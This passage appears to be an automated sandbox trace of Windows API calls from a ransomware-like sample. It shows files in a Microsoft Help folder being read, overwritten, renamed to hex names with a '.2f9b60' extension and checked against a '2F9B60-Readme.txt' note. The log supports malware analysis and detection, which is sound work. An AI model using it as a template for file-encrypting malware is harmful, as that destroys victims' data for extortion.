returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e72, _Format="%c%c" | out: _Dest="27") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e74, _Format="%c%c" | out: _Dest="ae") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e76, _Format="%c%c" | out: _Dest="67") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e78, _Format="%c%c" | out: _Dest="54") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e7a, _Format="%c%c" | out: _Dest="fd") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e7c, _Format="%c%c" | out: _Dest="8c") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e7e, _Format="%c%c" | out: _Dest="e7") returned 2 [0086.670] RtlInitAnsiString (in: DestinationString=0x2006fa28, SourceString="21233f5aa24f8be0c8837829d1f210ef49806fb4c47feb749efc2db45d14892c50163e874fb9d4b61f27ae6754fd8ce7" | out: DestinationString="21233f5aa24f8be0c8837829d1f210ef49806fb4c47feb749efc2db45d14892c50163e874fb9d4b61f27ae6754fd8ce7") [0086.670] RtlAnsiStringToUnicodeString (in: DestinationString=0x2006f9f8, SourceString="21233f5aa24f8be0c8837829d1f210ef49806fb4c47feb749efc2db45d14892c50163e874fb9d4b61f27ae6754fd8ce7", AllocateDestinationString=1 | out: DestinationString="21233f5aa24f8be0c8837829d1f210ef49806fb4c47feb749efc2db45d14892c50163e874fb9d4b61f27ae6754fd8ce7") returned 0x0 [0086.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118540 [0086.670] wcscat (in: _Dest=0x1b85c840, _Source="21233f5aa24f8be0c8837829" | out: _Dest="C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829") returned="C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829" [0086.670] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60" [0086.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60", NtPathName=0x2006f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5a70 [0086.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0086.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.672] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2006fa38, FileInformation=0x2006fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2006fa38, FileInformation=0x2006fa48) returned 0x0 [0086.672] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2006fa38, FileInformation=0x2006fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0086.674] FlushFileBuffers (hFile=0x96c) returned 1 [0086.675] CloseHandle (hObject=0x96c) returned 1 [0086.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1e20 [0086.677] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.677] wcscat (in: _Dest=0x1b7c1e20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.677] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0086.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 Thread: id = 202 os_tid = 0xc58 [0086.679] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn")) returned 0x2022 [0086.680] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.681] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.681] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x1ffcfc20 | out: lpFileSize=0x1ffcfc20*=326) returned 1 [0086.681] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.681] ReadFile (in: hFile=0x96c, lpBuffer=0x1ffcfba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ffcfbe8, lpOverlapped=0x0 | out: lpBuffer=0x1ffcfba0*, lpNumberOfBytesRead=0x1ffcfbe8*=0x4, lpOverlapped=0x0) returned 1 [0086.682] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.682] NtQuerySystemTime (in: CurrentTime=0x1ffcfae0 | out: CurrentTime=0x1ffcfae0*=132462176925622000) returned 0x0 [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x31bdacf2 [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x363208eb [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x27aeaf8d [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x71f7ef14 [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x725fd00b [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x48fc1c83 [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x228778cd [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x6270432f [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x1f9651ef [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x56f3c621 [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x179bd4ba [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x4b361bef [0086.682] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x27b13093 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x74302efa [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x580073a0 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x3df3345d [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x5ba0c672 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x6709518b [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x33cc66bd [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x1320d29f [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x740ee6c1 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x7fdbc201 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x28ec69f3 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x10cac86 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x5a93618b [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x9ce4b03 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x19ae59ef [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x28c5ba0 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x7c706cd3 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x12798155 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x148fee05 [0086.683] RtlRandomEx (in: Seed=0x1ffcfad0 | out: Seed=0x1ffcfad0) returned 0x64f115cf [0086.691] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1ffcfad0, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x1ffcfad0*=0x146, lpOverlapped=0x0) returned 1 [0086.691] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.691] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1ffcfad4, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x1ffcfad4*=0x146, lpOverlapped=0x0) returned 1 [0086.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0086.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0086.693] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.693] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1ffcfbf0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1ffcfbf0*=0x11a, lpOverlapped=0x0) returned 1 [0086.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0086.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79db70 [0086.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0086.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82b080 [0086.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0086.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0086.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858730 [0086.697] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="66") returned 2 [0086.697] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="69") returned 2 [0086.697] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="c2") returned 2 [0086.697] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.697] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="4f") returned 2 [0086.697] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="8f") returned 2 [0086.697] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="eb") returned 2 [0086.697] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="72") returned 2 [0086.697] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="39") returned 2 [0086.697] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="5e") returned 2 [0086.697] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="0d") returned 2 [0086.697] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="f9") returned 2 [0086.697] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="35") returned 2 [0086.697] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="83") returned 2 [0086.697] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="bf") returned 2 [0086.697] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="7c") returned 2 [0086.697] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="42") returned 2 [0086.698] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="94") returned 2 [0086.698] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="41") returned 2 [0086.698] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="a5") returned 2 [0086.698] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="95") returned 2 [0086.698] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="8d") returned 2 [0086.698] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="c9") returned 2 [0086.698] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="c8") returned 2 [0086.698] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="49") returned 2 [0086.698] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="29") returned 2 [0086.698] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="62") returned 2 [0086.698] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="58") returned 2 [0086.698] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="07") returned 2 [0086.698] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="2c") returned 2 [0086.698] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="06") returned 2 [0086.698] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="42") returned 2 [0086.698] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="eb") returned 2 [0086.698] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="37") returned 2 [0086.698] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="9f") returned 2 [0086.698] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="bd") returned 2 [0086.698] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="32") returned 2 [0086.698] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="d5") returned 2 [0086.698] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="0d") returned 2 [0086.698] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="29") returned 2 [0086.698] RtlInitAnsiString (in: DestinationString=0x1ffcfc68, SourceString="6669c23e4f8feb72395e0df93583bf7c429441a5958dc9c849296258072c0642eb379fbd32d50d29" | out: DestinationString="6669c23e4f8feb72395e0df93583bf7c429441a5958dc9c849296258072c0642eb379fbd32d50d29") [0086.698] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ffcfc38, SourceString="6669c23e4f8feb72395e0df93583bf7c429441a5958dc9c849296258072c0642eb379fbd32d50d29", AllocateDestinationString=1 | out: DestinationString="6669c23e4f8feb72395e0df93583bf7c429441a5958dc9c849296258072c0642eb379fbd32d50d29") returned 0x0 [0086.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a59c0 [0086.699] wcscat (in: _Dest=0x1b79db70, _Source="6669c23e4f8feb72395e" | out: _Dest="C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e") returned="C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e" [0086.699] wcscat (in: _Dest=0x1b79db70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60" [0086.699] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60", NtPathName=0x1ffcfc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad7a0 [0086.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.700] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x1ffcfc78, FileInformation=0x1ffcfc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ffcfc78, FileInformation=0x1ffcfc88) returned 0x0 [0086.700] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1ffcfc78, FileInformation=0x1ffcfc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0086.702] FlushFileBuffers (hFile=0x96c) returned 1 [0086.703] CloseHandle (hObject=0x96c) returned 1 [0086.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1e20 [0086.704] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.704] wcscat (in: _Dest=0x1b7c1e20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.704] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0086.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 Thread: id = 203 os_tid = 0xc5c [0086.711] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn")) returned 0x2022 [0086.712] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.712] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.713] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2025fde0 | out: lpFileSize=0x2025fde0*=332) returned 1 [0086.713] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.713] ReadFile (in: hFile=0x96c, lpBuffer=0x2025fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2025fda8, lpOverlapped=0x0 | out: lpBuffer=0x2025fd60*, lpNumberOfBytesRead=0x2025fda8*=0x4, lpOverlapped=0x0) returned 1 [0086.714] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.714] NtQuerySystemTime (in: CurrentTime=0x2025fca0 | out: CurrentTime=0x2025fca0*=132462176925934000) returned 0x0 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x56ea93b [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x67377a8f [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x54b68bfb [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x643b7f76 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x75dba90b [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x699a9ef3 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x1c6b7866 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x75435eed [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x476e3cf1 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x1e38199d [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x65433ad4 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x6294284 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x240c67d3 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x2a01f712 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x1f13ed98 [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x777b2d2b [0086.714] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x62933565 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x540a5d96 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x57a7d689 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x7feca0ee [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x16d2a08c [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x1ff55c5a [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x424f98c9 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0xbdca07a [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x2d1e5e36 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x74cdfed6 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x17534df1 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0xc86c69c [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x6c05353c [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x72a3c337 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x380f5ce6 [0086.715] RtlRandomEx (in: Seed=0x2025fc90 | out: Seed=0x2025fc90) returned 0x6bc6d25c [0086.724] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x2025fc90, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2025fc90*=0x14c, lpOverlapped=0x0) returned 1 [0086.724] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.724] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2025fc94, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2025fc94*=0x14c, lpOverlapped=0x0) returned 1 [0086.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0086.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9eeb0 [0086.727] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.727] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2025fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2025fdb0*=0x11c, lpOverlapped=0x0) returned 1 [0086.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0086.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79db70 [0086.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0086.730] 